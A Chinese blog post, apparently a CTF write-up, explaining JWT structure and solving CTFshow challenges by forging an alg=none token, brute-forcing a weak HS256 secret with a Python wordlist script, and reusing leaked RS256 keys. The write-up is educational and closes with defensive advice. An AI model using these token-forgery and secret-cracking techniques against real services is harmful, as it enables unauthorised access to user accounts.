JWT的认识和攻击方法

什么是JWT

JWT ( JSON Web Token 的缩写)是一串带有声明信息的字符串,由服务端用加密算法对信息签名来保证其完整性和不可伪造。
Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息,JWT可用于身份认证、会话状态维持、信息交换等。
JWT 由三部分构成,分别称为 header 、payload 和 signature ,各部分用. 相连构成一个完整的Token
xxxxxx.yyyyyyy.zzzzzz

在这里插入图片描述

# header :
使用一个JSON格式字符串声明token的类型和签名用的算法等,形如使
{"alg": "None","typ": "jwt“}
该字符串经过Base64Url编码后形成JWT的第一部分xxxxx。
# payload :
该字符串经过Base64Url编码后形成JWT的第二部分 yyyyy。

载荷就是存放有效信息的地方。这个名字像是特指飞机上承载的货品,这些有效信息包含三个部分

标准中注册的声明 (建议但不强制使用) :
iss: jwt签发者
sub: jwt所面向的用户
aud: 接收jwt的一方
exp: jwt的过期时间,这个过期时间必须要大于签发时间
nbf: 定义在什么时间之前,该jwt都是不可用的.
iat: jwt的签发时间
jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。

公共的声明 :
公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息,因为该部分在客户端可解密.

私有的声明 :
私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为base64是对称解密的,意味着该部分信息可以归类为明文信息。
# signature :
这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,
然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分 zzzzzzz

数据签名是JWT的核心部分,构成较为复杂
可以选择对称加密算法或者非对称加密算法,常用的就是 HS256、RS256。
HS256加密:(对称加密)
signature = HMACSHA256( base64UrlEncode(header) + "." +base64UrlEncode(payload), secret );
   
RS256加密:(非对称加密)
signature = RSASHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload), publicKey, privateKey)

对JWT有了大致了解后,用CTFshow的几道题来尝试一下

web 345

因为是JWT的题目,所以直接看cookies
在这里插入图片描述
丢到 jwt.io 里去看看
在这里插入图片描述
可以看到这里 alg = none 没有加密 ,sub 是jwt所面向的用户,只需要将sub的值改成admin,然后cookies替换掉就行了

web 346

在这里插入图片描述
可以发现这道题 Hs256 加密了,那就爆破一下

import jwt
import json


def runblasting(path, jwt_str, alg):
    if alg == "none":
        alg = "HS256"
    with open(path, encoding='utf-8') as f:
        for line in f:
            key_ = line.strip()
            print('use ' + key_)
            try:
                jwt.decode(jwt_str, verify=True, key=key_, algorithms=alg)
                print('found key! --> ' + key_)
                break
            except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
                   jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
                   jwt.exceptions.ImmatureSignatureError):
                print('found key! --> ' + key_)
                break
            except(jwt.exceptions.InvalidSignatureError):
                continue
        else:
            print("key not found!")


if __name__ == '__main__':
    runblasting('bp1.txt',
                'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNzE5MDgxOSwiZXhwIjoxNjI3MTk4MDE5LCJuYmYiOjE2MjcxOTA4MTksInN1YiI6InVzZXIiLCJqdGkiOiJjMjQ4Y2NhMTdkNGFkOWM3MzRlYjE4ZDJlZTY1MjBlYiJ9.3RorUDLhutsqgkbphdQ92ICeSDzEDXB2XjWofXR0RZk',
                'HS256')
通过跑字典出 secret = 123456 ,最后替换cookies就行

在这里插入图片描述

web 348

同样还是 Hs256 加密的,继续尝试爆破弱口令,这次是 aaab

web 349

在这里插入图片描述
这道题就是 Rs256 加密的,有公私钥
但题目还算良心,给了公私钥泄露,访问下载就行
在这里插入图片描述
在这里插入图片描述
同样的只要把得到的公私钥丢进去就行了
在这里插入图片描述

安全建议

不应该在jwt的payload部分存放敏感信息,因为该部分是客户端可解密的部分。

保护好secret私钥,该私钥非常重要。

如果可以,请使用https协议
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值